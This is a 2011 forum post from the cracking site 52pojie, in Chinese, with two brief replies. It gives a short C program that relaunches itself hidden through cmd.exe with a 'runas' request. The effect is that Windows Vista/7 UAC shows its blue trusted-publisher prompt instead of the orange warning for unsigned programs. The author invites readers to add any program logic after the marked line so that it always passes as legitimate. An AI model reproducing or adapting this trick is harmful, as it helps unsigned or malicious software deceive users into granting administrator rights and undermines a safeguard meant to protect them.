吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6972|回复: 2
收起左侧

[C&C++ 转载] vista、win7下欺骗 UAC

 关闭 [复制链接]
balance 发表于 2011-6-13 21:28
vista或win7在UAC完全开启下,运行一个没有数字签名的未知程序,总是以橙色框提示用户,如下图:
橙色框.JPG
这样很容易引起用户的警觉。一般没有数字签名或微软不信任的程序都弹出橙色框,正常程序是弹出蓝色框。

本文以十多行代码解决此问题,使其弹出蓝色框:
蓝色框.JPG

这个是使用本文代码后弹出的蓝色框。

再看这个:
cmd参数.JPG
聪明的读者已经看出来了,其实就是利用cmd后跟参数欺骗操作系统和用户。代码如下:

#include "stdafx.h"
#include "Shellapi.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
        // TODO: Place code here.

        char szPath[] = "c:\\windows\\system32\\cmd.exe";
        char szParam[MAX_PATH*2] = {0};
        memset(szParam,0,sizeof szParam);
        strcpy(szParam,"/c start ");

        char szCurPath[MAX_PATH]={0};  
        char szShortPath[MAX_PATH]={0};
        memset(szCurPath,0,MAX_PATH);   
        GetModuleFileName(NULL,szCurPath,sizeof(szCurPath)/sizeof(TCHAR));
        GetShortPathName(szCurPath,szShortPath,sizeof(szShortPath));

        strcat(szParam,szShortPath);
        
        HANDLE hMutex = CreateMutex(NULL, false, "Process");
        if (GetLastError() == ERROR_ALREADY_EXISTS)
        {
                CloseHandle(hMutex);
                return 0;
        }
        
        ShellExecute(NULL, "runas", szPath, szParam, NULL, SW_HIDE);
        MessageBox(NULL, "程序已运行!", "提示", MB_OK +MB_ICONWARNING); //表示程序已运行
        
        //在此添加功能逻辑...


        return 0;
}

“//在此添加功能逻辑...  ” 从这后面开始,我们就像写Win32程序一样,编写程序代码了,且无论什么程序都是以正常程序的蓝色框提示框显示。
本文虽说没有很高深的技术含量,简简单单十几行代码,但是思路和代码实现值得借鉴!






橙色框.bmp

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

tcwjw 发表于 2011-6-13 22:19
使用CMD启动程序达到欺骗UAC的功能..
头像被屏蔽
dayang1717 发表于 2011-6-13 23:15
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-28 07:31

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表